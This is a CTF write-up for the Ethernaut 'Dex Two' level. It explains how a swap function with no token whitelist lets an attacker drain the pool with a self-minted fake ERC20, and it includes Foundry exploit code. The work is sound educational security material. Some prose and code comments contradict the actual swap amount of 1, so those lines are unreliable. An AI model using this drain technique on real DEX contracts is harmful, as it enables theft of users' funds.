Emanuele Ricci
Ethernaut Challenge #22 Solution — Dex Two
This is Part 22 of the "Let’s play OpenZeppelin Ethernaut CTF" series, where I will explain how to solve each challenge.
The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.
Challenge #22: Dex Two
This level will ask you to break
DexTwo
, a subtlely modifiedDex
contract from the previous level, in a different way.You need to drain all balances of token1 and token2 from the
DexTwo
contract to succeed in this level.You will still start with 10 tokens of
token1
and 10 oftoken2
. The DEX contract still starts with 100 of each token.Things that might help:
- How has the
swap
method been modified?- Could you use a custom token contract in your attack?
Level author(s): Scott Tsai
The goal of this challenge, like the previous one, is to drain both token1
and token2
from the DexTwo
contract.
Study the contracts
The DexTwo
contract is much identical to the one from the previous Dex
challenge, the only thing that changes are some function names and the content of the swap
function.
Other than the DexTwo
contract that behave like a Dex, we also have SwappableTokenTwo
, an ERC20 token implementation.
Let's see the content of the swap
function
function swap(
address from,
address to,
uint256 amount
) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
Can you see what's missing compared to the previous version of the same function on Dex
contract? It's a critical check.
The current swap
function is not checking that from
and to
are actually the whitelisted token1
and token2
tokens handled by the DexTwo
contract.
This is the check that was present in the previous version of the function: require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
What does this mean? This allows an attacker to call the swap
function, selling an arbitrary from
token to get the "real" to
token from the Dex. This mean that we could create a freshly new UselessERC20
token totally owned and managed by us (we can mint, burn, do whatever we want) and gain some token1
or token2
for free.
Can we drain the DexTwo
contract token1
and token2
with one call each? To do so, we need to find the correct amount of fakeToken
to sell to get back 100 token1
.
Let's do some math, looking at the getSwapAmount
function that calculate the swap price:
100 token1 = amountOfFakeTokenToSell * DexBalanceOfToken1 / DexBalanceOfFakeToken
100 token1 = amountOfFakeTokenToSell * 100 / DexBalanceOfFakeToken
We have two variables that we can control. We know for sure that DexBalanceOfFakeToken
must be > 1 otherwise the transaction will revert because of division by 0. If we send 1 FakeToken
to DexTwo
we would have
100 token1 = amountOfFakeTokenToSell * 100 / 1
1 token1 = amountOfFakeTokenToSell
So by sending 1 FakeToken1
to the DexTwo
contract to give it some liquidity, we can swap 100 FakeToken
to get back 100 token1
. After that, we just need to repeat the same operation with another instance of FakeToken2
and drain all the token2
from the Dex.
Solution code
Here's the code used in the test case to solve the challenge
function exploitLevel() internal override {
vm.startPrank(player, player);
// Deploy a fake token based on the SwappableTokenTwo contract
// Mint 10k tokens and send them to the player (msg.sender)
SwappableTokenTwo fakeToken1 = new SwappableTokenTwo(address(level), "Fake Token 1", "FKT1", 10_000);
SwappableTokenTwo fakeToken2 = new SwappableTokenTwo(address(level), "Fake Token 1", "FKT1", 10_000);
// Approve the dex to manage all of our token
token1.approve(address(level), 2**256 - 1);
token2.approve(address(level), 2**256 - 1);
fakeToken1.approve(address(level), 2**256 - 1);
fakeToken2.approve(address(level), 2**256 - 1);
// send 1 fake token to the DexTwo to have at least 1 of liquidity
ERC20(fakeToken1).transfer(address(level), 1);
ERC20(fakeToken2).transfer(address(level), 1);
// Swap 100 fakeToken1 to get 100 token1
level.swap(address(fakeToken1), address(token1), 1);
// Swap 100 fakeToken2 to get 100 token2
level.swap(address(fakeToken2), address(token2), 1);
// Assert that we have drained the Dex contract
assertEq(token1.balanceOf(address(level)) == 0 && token2.balanceOf(address(level)) == 0, true);
vm.stopPrank();
}
You can read the full solution of the challenge opening DexTwo.t.sol
Further reading
- OpenZeppelin: The Dangers of Price Oracles in Smart Contracts
- OpenZeppelin: Smart Contract Security Guidelines #3: The Dangers of Price Oracles
- samczsun: So you want to use a price oracle
- cmichel: Pricing LP tokens | Warp Finance hack
- Ethereum Docs: Oracles
- Chainlink: What Is a Blockchain Oracle?
- Uniswap TWAP
- Consensys: Integer Division
Disclaimer
All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.
DO NOT USE IN PRODUCTION.